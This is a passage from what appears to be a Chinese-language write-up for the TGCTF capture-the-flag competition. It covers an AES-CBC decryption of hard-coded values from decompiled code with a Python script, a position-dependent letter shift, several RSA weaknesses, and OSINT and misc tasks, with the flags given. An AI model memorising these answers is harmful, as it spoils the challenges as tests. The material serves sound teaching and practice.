private static readonly string encryptionKey = "HZNUHZNUHZNUHZNU";
// Token: 0x04000016 RID: 22
private static readonly string iv = "0202005503081501";
// Token: 0x04000017 RID: 23
private static readonly string encryptedHexData = "cecadff28e93aa5d6f65128ae33e734d3f47b4b8a050d326c534a732d51b96e2a6a80dca0d5a704a216c2e0c3cc6aaaf";
}
|
看到是AES算法
encryptedHexData是硬编码的十六进制字符串,加密密钥和IV分别是”HZNUHZNUHZNUHZNU”和”0202005503081501”。
Decrypt方法使用了AES的CBC模式,填充方式是PKCS7。因此,解密时需要正确的密钥和IV,并且密文是经过十六进制编码的,需要先转换回字节数组。
加密数据:十六进制字符串cecadff28e93aa5d6f65128ae33e734d3f47b4b8a050d326c534a732d51b96e2a6a80dca0d5a704a216c2e0c3cc6aaaf。
编写脚本,使用密钥和IV对加密数据进行AES-CBC解密,并处理PKCS7填充。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
python
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
# 加密数据(十六进制字符串)
encrypted_hex = "cecadff28e93aa5d6f65128ae33e734d3f47b4b8a050d326c534a732d51b96e2a6a80dca0d5a704a216c2e0c3cc6aaaf"
ciphertext = bytes.fromhex(encrypted_hex)
# 密钥和IV(UTF-8编码)
key = b'HZNUHZNUHZNUHZNU' # 16字节
iv = b'0202005503081501' # 16字节
# 创建AES解密器
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
# 解密并去除填充
plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)
# 输出解密结果
print("解密后的明文:", plaintext.decode('utf-8'))
|
Crypto
AAAAAAAA·真·签到
题目:
1
2
3
4
5
6
7
8
9
10
11
|
给你flag签个到好了
UGBRC{RI0G!O04_5C3_OVUI_DV_MNTB}
诶,我的flag怎么了????
好像字母对不上了
我的签到怎么办呀,急急急
听说福来阁好像是TGCTF开头的喔
|
比较错误前缀UGBRC与正确前缀TGCTF,发现每个字母的移位量依次为-1, 0, +1, +2, +3,即第i个字符(从0开始)移位量为i-1。
原字符串:
1
|
0:U,1:G,2:B,3:R,4:C,5:{,6:R,7:I,8:0,9:G,10:!,11:O,12:0,13:4,14:_,15:5,16:C,17:3,18:_,19:O,20:V,21:U,22:I,23:_,24:D,25:V,26:_,27:M,28:N,29:T,30:B,31:}
|
对于每个字母字符,移位量是其位置i减1。例如:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
i=0:U →移位-1 →T
i=1:G →0 →G
i=2:B →+1 →C
i=3:R →+2 →T
i=4:C →+3 →F
i=6:R →i=6 →移位5 →R+5=W
i=7:I →移位6 →I+6=O
i=9:G →i=9 →移位8 →G+8=O
i=11:O →i=11 →移位10 →O+10=Y
i=16:C →i=16 →移位15 →C+15=R
i=19:O →i=19 →移位18 →O+18= (O是第14个字母,A=0的话,14+18=32 →32 mod26=6 →G)
i=20:V →i=20 →移位19 →V+19= (V是21 →21+19=40 →40 mod26=14 →O)
i=21:U →i=21 →移位20 →U+20= (20+20=40 mod26=14 →O)
i=22:I →i=22 →移位21 →I+21= (8+21=29 mod26=3 →D)
i=24:D →i=24 →移位23 →D+23= (3+23=26 mod26=0 →A)
i=25:V →i=25 →移位24 →V+24= (21+24=45 mod26=19 →T)
i=27:M →i=27 →移位26 →M+26= (12+26=38 mod26=12 →M)
i=28:N →i=28 →移位27 →N+27= (13+27=40 mod26=14 →O)
i=29:T →i=29 →移位28 →T+28= (19+28=47 mod26=21 →V)
i=30:B →i=30 →移位29 →B+29= (1+29=30 mod26=4 →E)
|
将这些转换后的字母代入原字符串,保持非字母字符不变:
TGCTF{ W O 0 O ! Y 0 4 _ 5 R 3 _ G O O D _ A T _ M O V E }
组合起来:
TGCTF{WO0O!Y04_5R3_GOOD_AT_MOVE}
费克特尔
直接分解n就行
mm不躲猫猫
第一组和第三组的n有一个公因数,于是就分解出来了
宝宝RSA
第一部分e是素数并且范围比较小直接爆破,第二部分e=3直接开3次根就得到flag
tRwSiAns
扔到sagemath里解有限域一元二次方程就行了
Misc
where it is(osint)
题目说flag形式为TGCTF{右上角轨道到站的站名}
谷歌搜图,定位到港墘站
flag{港墘站}
好运来
我听到了强运的回响,flag是CTFer最喜欢的数字:
TGCTF{114514}
简单签到,关注:”杭师大网安“谢谢喵🐱
关注就发flag()